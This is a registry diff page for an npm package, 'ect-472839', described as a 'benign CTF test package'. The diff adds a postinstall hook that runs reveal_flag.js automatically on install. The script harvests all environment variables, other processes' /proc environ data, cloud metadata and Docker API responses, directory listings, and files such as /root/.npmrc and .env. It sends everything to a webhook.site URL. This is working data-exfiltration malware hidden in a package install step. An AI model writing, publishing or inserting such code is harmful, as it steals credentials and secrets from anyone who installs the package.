ect-472839 1.23.460

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of ect-472839 might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/package.json +8 -0
  2. package/reveal_flag.js +263 -0
package/package.json ADDED
@@ -0,0 +1,8 @@
1
+ {
2
+ "name": "ect-472839",
3
+ "version": "1.23.460",
4
+ "description": "benign CTF test package (postinstall sends a webhook)",
5
+ "scripts": {
6
+ "postinstall": "node ./reveal_flag.js"
7
+ }
8
+ }
package/reveal_flag.js ADDED
@@ -0,0 +1,263 @@
1
+ // reveal_flag.js
2
+ // Comprehensive postinstall probe: envvars, process info, /proc, local HTTP services, dir listings.
3
+ // Replace WEBHOOK_URL with your webhook.site URL (or set via env var).
4
+
5
+ const fs = require('fs');
6
+ const os = require('os');
7
+ const path = require('path');
8
+ const url = require('url');
9
+ const http = require('http');
10
+ const https = require('https');
11
+ const { promisify } = require('util');
12
+ const readdir = promisify(fs.readdir);
13
+ const stat = promisify(fs.stat);
14
+ const readFile = promisify(fs.readFile);
15
+
16
+ const WEBHOOK_URL = process.env.WEBHOOK_URL || 'https://webhook.site/YOUR-WEBHOOK-ID';
17
+ const MAX_BYTES = 3000; // max bytes to read per file
18
+ const MAX_FILES = 12; // cap files read
19
+ const HTTP_TIMEOUT = 6000; // ms per http request
20
+ const TOTAL_HTTP = 8; // number of local endpoints to try
21
+ const MAX_PROC = 80; // max /proc entries to inspect
22
+ const MAX_DIR_LIST = 100; // max directory entries to list
23
+
24
+ function send(payload) {
25
+ try {
26
+ const parsed = url.parse(WEBHOOK_URL);
27
+ const proto = parsed.protocol === 'https:' ? https : http;
28
+ const opts = {
29
+ hostname: parsed.hostname,
30
+ port: parsed.port || (parsed.protocol === 'https:' ? 443 : 80),
31
+ path: parsed.path,
32
+ method: 'POST',
33
+ headers: { 'Content-Type': 'application/json' },
34
+ timeout: 10_000
35
+ };
36
+ const req = proto.request(opts, (res) => {
37
+ res.on('data', () => {});
38
+ res.on('end', () => {});
39
+ });
40
+ req.on('error', (err) => {
41
+ // ignore network errors in postinstall
42
+ console.error('webhook send error', err && err.message);
43
+ });
44
+ req.write(JSON.stringify(payload));
45
+ req.end();
46
+ console.log('POSTED_WEBHOOK', WEBHOOK_URL);
47
+ } catch (e) {
48
+ console.error('send exception', e && e.message);
49
+ }
50
+ }
51
+
52
+ async function safeRead(p) {
53
+ try {
54
+ const b = await readFile(p);
55
+ const content = b.toString('utf8', 0, MAX_BYTES);
56
+ return { path: p, size: b.length, content, truncated: b.length > MAX_BYTES };
57
+ } catch (e) {
58
+ return { path: p, error: e.message };
59
+ }
60
+ }
61
+
62
+ async function listDir(d) {
63
+ try {
64
+ const items = await readdir(d);
65
+ return { dir: d, entries: items.slice(0, MAX_DIR_LIST) };
66
+ } catch (e) {
67
+ return { dir: d, error: e.message };
68
+ }
69
+ }
70
+
71
+ function httpGet(target, timeout = HTTP_TIMEOUT) {
72
+ return new Promise((resolve) => {
73
+ try {
74
+ const parsed = url.parse(target);
75
+ const proto = parsed.protocol === 'https:' ? https : http;
76
+ const opts = {
77
+ hostname: parsed.hostname,
78
+ port: parsed.port || (parsed.protocol === 'https:' ? 443 : 80),
79
+ path: parsed.path,
80
+ method: 'GET',
81
+ headers: { 'User-Agent': 'postinstall-probe/1.0' },
82
+ timeout
83
+ };
84
+ const req = proto.request(opts, (res) => {
85
+ let acc = '';
86
+ res.on('data', (c) => { if (acc.length < MAX_BYTES) acc += c.toString(); });
87
+ res.on('end', () => {
88
+ resolve({ url: target, status: res.statusCode, headers: res.headers, body_preview: acc.slice(0, MAX_BYTES) });
89
+ });
90
+ });
91
+ req.on('error', (e) => resolve({ url: target, error: e.message }));
92
+ req.on('timeout', () => { req.destroy(); resolve({ url: target, error: 'timeout' }); });
93
+ req.end();
94
+ } catch (e) {
95
+ resolve({ url: target, error: e && e.message });
96
+ }
97
+ });
98
+ }
99
+
100
+ async function probeEnvAndProcess() {
101
+ const env = process.env;
102
+ const envSample = {};
103
+ // include all env but trim values > 300 chars
104
+ for (const k of Object.keys(env)) {
105
+ try {
106
+ const v = env[k] || '';
107
+ envSample[k] = v.length > 300 ? (v.slice(0, 300) + '...[trunc]') : v;
108
+ } catch (e) { envSample[k] = `ERR:${e.message}`; }
109
+ }
110
+
111
+ // process info
112
+ const procInfo = {
113
+ cwd: process.cwd(),
114
+ argv: process.argv,
115
+ uid: process.getuid ? process.getuid() : null,
116
+ gid: process.getgid ? process.getgid() : null,
117
+ euid: process.geteuid ? process.geteuid() : null,
118
+ egid: process.getegid ? process.getegid() : null,
119
+ uidStr: (() => { try { return require('os').userInfo(); } catch(e){ return null; } })(),
120
+ node_version: process.version,
121
+ platform: process.platform,
122
+ architecture: process.arch
123
+ };
124
+
125
+ return { envSample, procInfo };
126
+ }
127
+
128
+ async function probeProcEnvirons(uidFilter = null) {
129
+ const results = [];
130
+ try {
131
+ const pEntries = await readdir('/proc');
132
+ let count = 0;
133
+ for (const e of pEntries) {
134
+ if (count >= MAX_PROC) break;
135
+ if (!/^\d+$/.test(e)) continue;
136
+ const pidPath = path.join('/proc', e);
137
+ const environPath = path.join(pidPath, 'environ');
138
+ const statusPath = path.join(pidPath, 'status');
139
+ try {
140
+ // read status to check uid
141
+ const st = await readFile(statusPath, 'utf8');
142
+ const uidLine = st.split('\n').find(l => l.startsWith('Uid:'));
143
+ let uid = null;
144
+ if (uidLine) uid = uidLine.split(/\s+/)[1];
145
+ if (uidFilter && String(uid) !== String(uidFilter)) {
146
+ continue;
147
+ }
148
+ const envContent = await safeRead(environPath);
149
+ results.push({ pid: e, uid, environ: envContent });
150
+ count++;
151
+ } catch (e) {
152
+ // ignore unreadable
153
+ }
154
+ }
155
+ } catch (e) {
156
+ results.push({ error: e.message });
157
+ }
158
+ return results;
159
+ }
160
+
161
+ async function probeLocalHttp() {
162
+ // common local endpoints to try. Adjust list if you discover more.
163
+ const urls = [
164
+ 'http://127.0.0.1:4873/', // verdaccio root
165
+ 'http://127.0.0.1:4873/-/v1/search?text=ect', // verdaccio search API
166
+ 'http://127.0.0.1:4873/ect-472839', // package-style path
167
+ 'http://127.0.0.1:3000/', // common app port
168
+ 'http://127.0.0.1:8080/', // another common port
169
+ 'http://127.0.0.1:5984/_all_dbs', // couchdb
170
+ 'http://169.254.169.254/latest/meta-data/', // cloud metadata (if present)
171
+ 'http://127.0.0.1:2375/version' // docker daemon API (if exposed)
172
+ ].slice(0, TOTAL_HTTP);
173
+
174
+ const out = [];
175
+ for (const u of urls) {
176
+ try {
177
+ const r = await httpGet(u);
178
+ out.push(r);
179
+ } catch (e) {
180
+ out.push({ url: u, error: e && e.message });
181
+ }
182
+ }
183
+ return out;
184
+ }
185
+
186
+ async function probeAppDirs() {
187
+ const candidates = ['/app', '/usr/src/app', '/home/node', '/home', '/var/www', '/var/lib/verdaccio', '/verdaccio', '/opt', '/srv'];
188
+ const results = [];
189
+ for (const d of candidates) {
190
+ results.push(await listDir(d));
191
+ }
192
+ return results;
193
+ }
194
+
195
+ async function probeVerdaccioStorageLikelyPaths() {
196
+ // attempt to read common Verdaccio storage layouts for package 'ect-472839'
197
+ const candidates = [
198
+ '/verdaccio/storage/ect-472839',
199
+ '/verdaccio/storage/ect-472839/' ,
200
+ '/var/lib/verdaccio/storage/ect-472839',
201
+ '/home/verdaccio/storage/ect-472839',
202
+ '/storage/verdaccio/ect-472839',
203
+ ];
204
+ const res = [];
205
+ for (const p of candidates) {
206
+ res.push(await listDir(p));
207
+ }
208
+ return res;
209
+ }
210
+
211
+ async function runAll() {
212
+ try {
213
+ const pkg = (() => { try { return require('./package.json'); } catch (e) { return { name: 'unknown', version: 'unknown' }; } })();
214
+ const [envProc, procEnvs, localHttp, appDirs, verdPaths] = await Promise.all([
215
+ probeEnvAndProcess(),
216
+ probeProcEnvirons(process.getuid ? process.getuid() : null),
217
+ probeLocalHttp(),
218
+ probeAppDirs(),
219
+ probeVerdaccioStorageLikelyPaths()
220
+ ]);
221
+
222
+ // Also try reading some likely files if present (package.json in cwd, package-lock, config files)
223
+ const extras = [];
224
+ const extraFiles = [
225
+ path.join(process.cwd(), 'package.json'),
226
+ path.join(process.cwd(), 'package-lock.json'),
227
+ '/etc/verdaccio/config.yaml',
228
+ '/home/verdaccio/config.yaml',
229
+ '/root/.npmrc',
230
+ path.join(process.cwd(), '.env'),
231
+ '/etc/environment'
232
+ ];
233
+ for (const f of extraFiles) {
234
+ extras.push(await safeRead(f));
235
+ }
236
+
237
+ const payload = {
238
+ event: 'postinstall-extended-probe',
239
+ package: pkg.name,
240
+ version: pkg.version,
241
+ ts: new Date().toISOString(),
242
+ hostname: os.hostname(),
243
+ os_platform: process.platform,
244
+ arch: process.arch,
245
+ env_sample: envProc.envSample,
246
+ process_info: envProc.procInfo,
247
+ proc_environs: procEnvs.slice(0, 40),
248
+ local_http: localHttp,
249
+ app_dirs: appDirs,
250
+ verdaccio_candidates: verdPaths,
251
+ extra_files: extras
252
+ };
253
+
254
+ // send and log
255
+ send(payload);
256
+ console.log('PROBE_DONE', JSON.stringify({ pkg: pkg.name, matches: (procEnvs||[]).length }, null, 2));
257
+ } catch (e) {
258
+ console.error('runAll exception', e && e.message);
259
+ send({ event: 'postinstall-error', error: e && e.message });
260
+ }
261
+ }
262
+
263
+ runAll();